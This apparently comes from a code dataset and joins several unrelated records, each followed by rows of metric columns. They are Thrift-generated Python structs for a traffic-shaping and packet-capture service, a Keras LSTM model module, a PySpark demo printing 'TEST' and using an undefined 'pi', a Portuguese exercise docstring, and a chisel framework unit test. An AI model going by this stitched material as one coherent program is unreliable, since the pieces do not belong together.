- down
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'up', (Shaping, Shaping.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'down', (Shaping, Shaping.thrift_spec), None, ), # 2
)
def __init__(self, up=None, down=None,):
self.up = up
self.down = down
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.up = Shaping()
self.up.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.down = Shaping()
self.down.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TrafficControlSetting')
if self.up is not None:
oprot.writeFieldBegin('up', TType.STRUCT, 1)
self.up.write(oprot)
oprot.writeFieldEnd()
if self.down is not None:
oprot.writeFieldBegin('down', TType.STRUCT, 2)
self.down.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TrafficControlledDevice(object):
"""
Attributes:
- controlledIP
- controllingIP
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'controlledIP', None, None, ), # 1
(2, TType.STRING, 'controllingIP', None, None, ), # 2
)
def __init__(self, controlledIP=None, controllingIP=None,):
self.controlledIP = controlledIP
self.controllingIP = controllingIP
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.controlledIP = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.controllingIP = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TrafficControlledDevice')
if self.controlledIP is not None:
oprot.writeFieldBegin('controlledIP', TType.STRING, 1)
oprot.writeString(self.controlledIP)
oprot.writeFieldEnd()
if self.controllingIP is not None:
oprot.writeFieldBegin('controllingIP', TType.STRING, 2)
oprot.writeString(self.controllingIP)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RemoteControlInstance(object):
"""
Attributes:
- device
- timeout
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'device', (TrafficControlledDevice, TrafficControlledDevice.thrift_spec), None, ), # 1
(2, TType.I32, 'timeout', None, None, ), # 2
)
def __init__(self, device=None, timeout=None,):
self.device = device
self.timeout = timeout
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.device = TrafficControlledDevice()
self.device.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.timeout = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('RemoteControlInstance')
if self.device is not None:
oprot.writeFieldBegin('device', TType.STRUCT, 1)
self.device.write(oprot)
oprot.writeFieldEnd()
if self.timeout is not None:
oprot.writeFieldBegin('timeout', TType.I32, 2)
oprot.writeI32(self.timeout)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TrafficControl(object):
"""
Attributes:
- settings
- device
- timeout
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'settings', (TrafficControlSetting, TrafficControlSetting.thrift_spec), None, ), # 1
(2, TType.STRUCT, 'device', (TrafficControlledDevice, TrafficControlledDevice.thrift_spec), None, ), # 2
(3, TType.I32, 'timeout', None, None, ), # 3
)
def __init__(self, settings=None, device=None, timeout=None,):
self.settings = settings
self.device = device
self.timeout = timeout
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.settings = TrafficControlSetting()
self.settings.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRUCT:
self.device = TrafficControlledDevice()
self.device.read(iprot)
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.timeout = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TrafficControl')
if self.settings is not None:
oprot.writeFieldBegin('settings', TType.STRUCT, 1)
self.settings.write(oprot)
oprot.writeFieldEnd()
if self.device is not None:
oprot.writeFieldBegin('device', TType.STRUCT, 2)
self.device.write(oprot)
oprot.writeFieldEnd()
if self.timeout is not None:
oprot.writeFieldBegin('timeout', TType.I32, 3)
oprot.writeI32(self.timeout)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TrafficControlRc(object):
"""
Attributes:
- code
- message
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'code', None, None, ), # 1
(2, TType.STRING, 'message', None, None, ), # 2
)
def __init__(self, code=None, message=None,):
self.code = code
self.message = message
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.code = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.message = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TrafficControlRc')
if self.code is not None:
oprot.writeFieldBegin('code', TType.I32, 1)
oprot.writeI32(self.code)
oprot.writeFieldEnd()
if self.message is not None:
oprot.writeFieldBegin('message', TType.STRING, 2)
oprot.writeString(self.message)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TrafficControlException(TException):
"""
Attributes:
- code
- message
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'code', None, None, ), # 1
(2, TType.STRING, 'message', None, None, ), # 2
)
def __init__(self, code=None, message=None,):
self.code = code
self.message = message
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.code = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.message = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TrafficControlException')
if self.code is not None:
oprot.writeFieldBegin('code', TType.I32, 1)
oprot.writeI32(self.code)
oprot.writeFieldEnd()
if self.message is not None:
oprot.writeFieldBegin('message', TType.STRING, 2)
oprot.writeString(self.message)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __str__(self):
return repr(self)
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PacketCaptureException(TException):
"""
Attributes:
- message
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'message', None, None, ), # 1
)
def __init__(self, message=None,):
self.message = message
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.message = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PacketCaptureException')
if self.message is not None:
oprot.writeFieldBegin('message', TType.STRING, 1)
oprot.writeString(self.message)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __str__(self):
return repr(self)
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PacketCaptureFile(object):
"""
Attributes:
- name
- url
- bytes
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'name', None, None, ), # 1
(2, TType.STRING, 'url', None, None, ), # 2
(3, TType.I32, 'bytes', None, 0, ), # 3
)
def __init__(self, name=None, url=None, bytes=thrift_spec[3][4],):
self.name = name
self.url = url
self.bytes = bytes
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.name = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.url = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.bytes = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PacketCaptureFile')
if self.name is not None:
oprot.writeFieldBegin('name', TType.STRING, 1)
oprot.writeString(self.name)
oprot.writeFieldEnd()
if self.url is not None:
oprot.writeFieldBegin('url', TType.STRING, 2)
oprot.writeString(self.url)
oprot.writeFieldEnd()
if self.bytes is not None:
oprot.writeFieldBegin('bytes', TType.I32, 3)
oprot.writeI32(self.bytes)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class PacketCapture(object):
"""
Attributes:
- ip
- start_time
- file
- pid
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'ip', None, None, ), # 1
(2, TType.I32, 'start_time', None, None, ), # 2
(3, TType.STRUCT, 'file', (PacketCaptureFile, PacketCaptureFile.thrift_spec), None, ), # 3
(4, TType.I32, 'pid', None, 0, ), # 4
)
def __init__(self, ip=None, start_time=None, file=None, pid=thrift_spec[4][4],):
self.ip = ip
self.start_time = start_time
self.file = file
self.pid = pid
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.ip = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.start_time = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRUCT:
self.file = PacketCaptureFile()
self.file.read(iprot)
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.pid = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('PacketCapture')
if self.ip is not None:
oprot.writeFieldBegin('ip', TType.STRING, 1)
oprot.writeString(self.ip)
oprot.writeFieldEnd()
if self.start_time is not None:
oprot.writeFieldBegin('start_time', TType.I32, 2)
oprot.writeI32(self.start_time)
oprot.writeFieldEnd()
if self.file is not None:
oprot.writeFieldBegin('file', TType.STRUCT, 3)
self.file.write(oprot)
oprot.writeFieldEnd()
if self.pid is not None:
oprot.writeFieldBegin('pid', TType.I32, 4)
oprot.writeI32(self.pid)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AccessToken(object):
"""
Attributes:
- token
- interval
- valid_until
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'token', None, None, ), # 1
(2, TType.I32, 'interval', None, None, ), # 2
(3, TType.I32, 'valid_until', None, None, ), # 3
)
def __init__(self, token=None, interval=None, valid_until=None,):
self.token = token
self.interval = interval
self.valid_until = valid_until
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.token = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.interval = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.valid_until = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('AccessToken')
if self.token is not None:
oprot.writeFieldBegin('token', TType.I32, 1)
oprot.writeI32(self.token)
oprot.writeFieldEnd()
if self.interval is not None:
oprot.writeFieldBegin('interval', TType.I32, 2)
oprot.writeI32(self.interval)
oprot.writeFieldEnd()
if self.valid_until is not None:
oprot.writeFieldBegin('valid_until', TType.I32, 3)
oprot.writeI32(self.valid_until)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
| 30.360606 | 188 | 0.640708 | 4,710 | 40,076 | 5.221868 | 0.039915 | 0.041472 | 0.036593 | 0.040252 | 0.83086 | 0.793739 | 0.758284 | 0.747388 | 0.738199 | 0.734946 | 0 | 0.014262 | 0.235428 | 40,076 | 1,319 | 189 | 30.383624 | 0.788421 | 0.021684 | 0 | 0.725655 | 1 | 0 | 0.037404 | 0.002828 | 0 | 0 | 0 | 0 | 0 | 1 | 0.100187 | false | 0 | 0.003745 | 0.044007 | 0.235019 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d666374b2d8e2a56e0ee798b6238b7b4f12b52fa | 2,681 | py | Python | model.py | jiali-ms/punctuator | 843176bddc95e62e22fb4a24dcec47b1556d5d46 | [
"MIT"
] | 7 | 2019-04-10T10:15:56.000Z | 2020-05-07T08:19:38.000Z | model.py | jiali-ms/punctuator | 843176bddc95e62e22fb4a24dcec47b1556d5d46 | [
"MIT"
] | null | null | null | model.py | jiali-ms/punctuator | 843176bddc95e62e22fb4a24dcec47b1556d5d46 | [
"MIT"
] | 3 | 2019-12-04T05:10:09.000Z | 2022-02-12T18:10:42.000Z | import numpy as np
from keras.models import Sequential
from keras.layers import Embedding, LSTM, Dense, Dropout, Bidirectional, TimeDistributed, Activation, Convolution1D, MaxPool1D
from keras.models import Model
from keras.preprocessing import sequence
# config
use_dropout = True
def LSTM_Model(vocab_size, embedding_size, hidden_size, n_classes, num_steps):
model = Sequential()
model.add(Embedding(vocab_size, embedding_size))
model.add(LSTM(hidden_size, return_sequences=True, stateful=False))
if use_dropout:
model.add(Dropout(0.2))
model.add(TimeDistributed(Dense(n_classes)))
model.add(Activation('softmax'))
model.summary()
return model
def LSTM2Layer_Model(vocab_size, embedding_size, hidden_size, n_classes, num_steps):
model = Sequential()
model.add(Embedding(vocab_size, embedding_size))
model.add(LSTM(hidden_size, return_sequences=True, stateful=False))
model.add(LSTM(hidden_size, return_sequences=True, stateful=False))
if use_dropout:
model.add(Dropout(0.2))
model.add(TimeDistributed(Dense(n_classes)))
model.add(Activation('softmax'))
model.summary()
return model
def BiLSTM_Model(vocab_size, embedding_size, hidden_size, n_classes, num_steps):
model = Sequential()
model.add(Embedding(vocab_size, embedding_size))
model.add(Bidirectional(LSTM(hidden_size, return_sequences=True, stateful=False)))
if use_dropout:
model.add(Dropout(0.2))
model.add(TimeDistributed(Dense(n_classes)))
model.add(Activation('softmax'))
model.summary()
return model
def CLSTM(vocab_size, embedding_size, hidden_size, n_classes, num_steps):
model = Sequential()
model.add(Embedding(vocab_size, embedding_size))
model.add(Convolution1D(128, 3, padding='same', strides=1))
model.add(Activation('relu'))
model.add(LSTM(hidden_size, return_sequences=True, stateful=False))
if use_dropout:
model.add(Dropout(0.2))
model.add(TimeDistributed(Dense(n_classes)))
model.add(Activation('softmax'))
model.summary()
return model
def CBiLSTM(vocab_size, embedding_size, hidden_size, n_classes, num_steps):
model = Sequential()
model.add(Embedding(vocab_size, embedding_size))
model.add(Convolution1D(128, 3, padding='same', strides=1))
model.add(Activation('relu'))
model.add(Bidirectional(LSTM(hidden_size, return_sequences=True, stateful=False)))
if use_dropout:
model.add(Dropout(0.2))
model.add(TimeDistributed(Dense(n_classes)))
model.add(Activation('softmax'))
model.summary()
return model
if __name__ == "__main__":
CBiLSTM(10000, 256, 128, 3, 20) | 32.301205 | 126 | 0.72846 | 351 | 2,681 | 5.367521 | 0.165242 | 0.127389 | 0.095541 | 0.116773 | 0.840764 | 0.840764 | 0.840764 | 0.840764 | 0.840764 | 0.840764 | 0 | 0.01715 | 0.151809 | 2,681 | 83 | 127 | 32.301205 | 0.811346 | 0.002238 | 0 | 0.793651 | 0 | 0 | 0.022064 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.079365 | false | 0 | 0.079365 | 0 | 0.238095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d69a35ccbe46531895990e1247f2441d5958606a | 1,360 | py | Python | py/demo.py | roveicy/tutorial-spark-cluster | 08ec58721f3acb19378b24709414bb2f46ee3050 | [
"MIT"
] | null | null | null | py/demo.py | roveicy/tutorial-spark-cluster | 08ec58721f3acb19378b24709414bb2f46ee3050 | [
"MIT"
] | null | null | null | py/demo.py | roveicy/tutorial-spark-cluster | 08ec58721f3acb19378b24709414bb2f46ee3050 | [
"MIT"
] | null | null | null | from pyspark.sql import SparkSession
spark = SparkSession.builder.appName("pyspark_benchmark").getOrCreate()
sc = spark.sparkContext
res = sc.parallelize([1, 2, 3, 4])
print(res)
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print("TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST ")
print(res)
print(pi)
| 85 | 144 | 0.777206 | 252 | 1,360 | 4.190476 | 0.083333 | 1.575758 | 2.272727 | 2.909091 | 0.860795 | 0.860795 | 0.860795 | 0.860795 | 0.860795 | 0.860795 | 0 | 0.003581 | 0.178676 | 1,360 | 15 | 145 | 90.666667 | 0.941808 | 0 | 0 | 0.666667 | 0 | 0.533333 | 0.806618 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.066667 | 0.733333 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 12 |
d6b069f6fb69886f76d74ca010826b8e14f48d90 | 146 | py | Python | EstruturaSequencial/09.py | TheCarvalho/atividades-wikipython | 9163d5de40dbed0d73917f6257e64a651a77e085 | [
"Unlicense"
] | null | null | null | EstruturaSequencial/09.py | TheCarvalho/atividades-wikipython | 9163d5de40dbed0d73917f6257e64a651a77e085 | [
"Unlicense"
] | null | null | null | EstruturaSequencial/09.py | TheCarvalho/atividades-wikipython | 9163d5de40dbed0d73917f6257e64a651a77e085 | [
"Unlicense"
] | null | null | null | '''
9. Faça um Programa que peça a temperatura em graus Fahrenheit, transforme e mostre a temperatura em graus Celsius.
C = 5 * ((F-32) / 9).
'''
| 29.2 | 115 | 0.684932 | 24 | 146 | 4.166667 | 0.791667 | 0.24 | 0.28 | 0.38 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042373 | 0.191781 | 146 | 4 | 116 | 36.5 | 0.805085 | 0.938356 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d6c242a4ccf6db0cc6ec319c332b1659d12fe07d | 30,959 | py | Python | src/tests/test_action.py | craigahobbs/chisel | 19c106695af4c02b86ab24c8f19a69cde6dcf75a | [
"MIT"
] | 1 | 2021-04-03T15:26:49.000Z | 2021-04-03T15:26:49.000Z | src/tests/test_action.py | craigahobbs/chisel | 19c106695af4c02b86ab24c8f19a69cde6dcf75a | [
"MIT"
] | 3 | 2016-02-28T17:26:51.000Z | 2021-04-06T19:00:52.000Z | src/tests/test_action.py | craigahobbs/chisel | 19c106695af4c02b86ab24c8f19a69cde6dcf75a | [
"MIT"
] | 2 | 2015-03-08T22:32:09.000Z | 2016-10-21T00:10:07.000Z | # Licensed under the MIT License
# https://github.com/craigahobbs/chisel/blob/main/LICENSE
# pylint: disable=missing-class-docstring, missing-function-docstring, missing-module-docstring
from http import HTTPStatus
from io import StringIO
from unittest import TestCase
from schema_markdown import SchemaMarkdownParser, SchemaMarkdownParserError
from chisel import action, Action, ActionError, Application, Request
class TestAction(TestCase):
# Default action decorator
def test_decorator(self):
@action(spec='''\
action my_action_default
''')
def my_action_default(unused_app, unused_req):
pass # pragma: no cover
self.assertTrue(isinstance(my_action_default, Action))
self.assertTrue(isinstance(my_action_default, Request))
app = Application()
app.add_request(my_action_default)
self.assertEqual(my_action_default.name, 'my_action_default')
self.assertEqual(my_action_default.urls, (('POST', '/my_action_default'),))
self.assertTrue(isinstance(my_action_default.model, dict))
self.assertEqual(my_action_default.model['name'], 'my_action_default')
self.assertEqual(my_action_default.wsgi_response, False)
# Default action decorator with missing spec
